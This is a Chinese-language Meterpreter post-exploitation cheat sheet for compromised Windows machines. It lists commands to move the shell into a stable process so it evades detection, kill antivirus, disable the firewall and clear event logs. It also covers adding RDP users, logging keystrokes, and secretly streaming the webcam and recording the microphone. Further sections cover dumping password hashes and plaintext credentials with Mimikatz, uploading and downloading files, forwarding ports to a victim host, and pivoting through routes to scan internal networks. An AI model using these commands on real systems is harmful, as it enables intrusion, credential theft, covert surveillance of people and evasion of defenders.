# 进程迁移

进程迁移的原因与目的：在刚拿到meterpreter shell时，该shell是极其脆弱的，通过进程迁移，把该shell和一个稳定的进程绑定在一起，防止被检测到查杀。

1：获取目标主机正在运行的进程

指令：ps

2：查看meterpreter shell的进程号

指令：getpid

3：进程迁移 （先找一个稳定的已打开的的应用进程）

指令：migrate <稳定的进程号>

【此办法有可能会失败】

4：自动进行进程迁移 （系统会自动寻找合适的进程进行迁移）

指令：run post/windows/manage/migrate

# 系统命令

查看系统信息

指令：sysinfo

查看当前活跃进程

指令：ps

获取当前进程的pid

指令：getpid

杀死进程

指令：kill pid

查看权限

指令：getuid

查看当前主机用户名及其权限

指令：getuid

查看目标主机运行时间

指令：idletime

查看目标机是否运行在虚拟机上

指令：run post/windows/gather/checkvm

查看安装软件信息

run post/windows/gather/enum\_applications

查看补丁信息

run post/windows/gather/enum\_patches

查看最近的文件操作

run post/windows/gather/dumplinks

获取IE缓存

run post/windows/gather/enum\_ie

获取chrome缓存

run post/windows/gather/enum\_chrome

获取常见信息

run scraper

#保存在～/.msf4/logs/scripts/scraper/目录下

关闭杀毒软件

指令：run post/windows/manage/killav

启动目标主机的3389端口即远程桌面协议

①指令：run post/windows/manage/enable\_rdp

②指令：run getgui -e

添加用户

①：run post/windows/manage/enable\_rdp USERNAME=\*\*\* PASSWORD=\*\*\*\*\*\*

②：run getgui -u example\_username -p example\_password

列举当前目标机有多少用户登录

命令：run post/windows/gather/enum\_logged\_on\_users

抓取目标机的屏幕截图

命令：screenshot

webcam摄像头命令

①：查看目标机是否有摄像头：webcam\_list

②：打开目标主机的摄像头拍一张照片：webcam\_snap

③：打开目标主机的摄像头抓取视频（即直播）

指令：webcam\_stream

该指令会返回一个url，在浏览器打开该地址即可观看

record\_mic 音频录制

record\_mic -d 10 音频录制10秒

进入目标机shell，获取目标主机的远程命令行

指令为：shell 结束指令为：exit

关闭防火墙

netsh advfirewall set allprofiles state off

清除事件日志

“clearev”命令，将清除事件日志。这个命令没有任何选项或参数。

# 常用命令

将当前会话放到后台

指令：background

查看已经成功获取的会话

命令：sessions -i

sessions -i 序号 连接到指定序号的meterpreter会话会继续利用

键盘记录器功能keyscan

命令：

keyscan\_start 开启记录目标主机的键盘输入

keyscan\_dump 输出截获到的目标键盘输入字符信息

keyscan\_stop 停止键盘记录

【注意：先进行监听，然后进行记录的导出，不想监听才进行停止，要注意顺序】

# 文件系统

getwd 或者pwd # 查看当前工作目录

ls #显示当前目录下的内容

dir #列出目标主机的文件和文件夹信息

cd #切换目录

search -f \*.txt -d c:\ # 搜索文件 -f 指定文件类型，-d 指定在哪个目录下搜索

cat c:\test\testpasswd.txt # 查看文件内容

del c:\test\testpasswd.txt #删除指定的文件

upload [本机位置] [目标机位置] #上传文件到目标主机

upload /tmp/hack.txt C:\test # 上传hack.txt文件到目标机C盘test目录下

download [目标主机文件位置] [下载后保存位置] #下载文件到本机

download c:\test.txt /root # 下载目标主机test.txt文件到本机root目录下

edit c:\1.txt #编辑或创建文件 没有的话，会新建文件

rm file #删除文件

# 权限提升

先输入getuid查看已获得的权限

尝试使用getsystem提权（倘若失败，只能使用内核漏洞提权）



# 密码获取

常见的在system权限下使用命令 hashdump 可以查看目标主机的用户和其对应的密码，其他抓取密码方法如下：

1：使用Mimikatz抓取密码，metasploit集成（只能在管理员权限下使用）

①：load mimikatz （加载该模块）

②：msv #获取hash值

③：Kerberos #获取明文

④：ssp #获取明文信息

⑤：wdigest #获取系统账户信息

输入help mimikatz，可以查看所有mimikatz在metasploit里集成的命令，即可直接使用的命令

# 端口转发

portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地，并且监听.使用方法如下:

Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

-L <opt> 要监听的本地主机 (可选).

-h 帮助

-l <opt> 要监听的本地端口

-p <opt> 连接到的远程端口

-r <opt> 要连接到的远程主机

使用实例介绍：

portfwd add -l 2222 -r 10.1.1.129 -p 3389

[\*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389

portfwd

0: 0.0.0.0:2222 -> 10.1.1.129:3389

1 total local port forwards.

接着连接本地2222端口即可连接受害机器10.1.1.129 3389端口，如下：

root@kali:~# rdesktop 127.0.0.1:2222

# 路由操作

①：查看已拿下的目标主机的内网IP段情况

指令：run get\_local\_subnets

②：添加静态路由（先使用background将meterpreter终端放到后台）

指令1：route add <要添加的路由> 例：route add 192.168.111.0

route print （查看已添加的路由）

指令2：run autoroute -s 192.168.159.0/24 #添加到目标环境网络

run autoroute –p #查看添加的路由

当目的路由被成功添加到已攻陷主机的路由表中，就可以借助被攻陷的主机对其他网络进行攻击了。

添加路由后可以进行以被攻陷主机的ip扫描该网段下的其他主机

run post/windows/gather/arp\_scanner

run auxiliary/scanner/portscan/tcp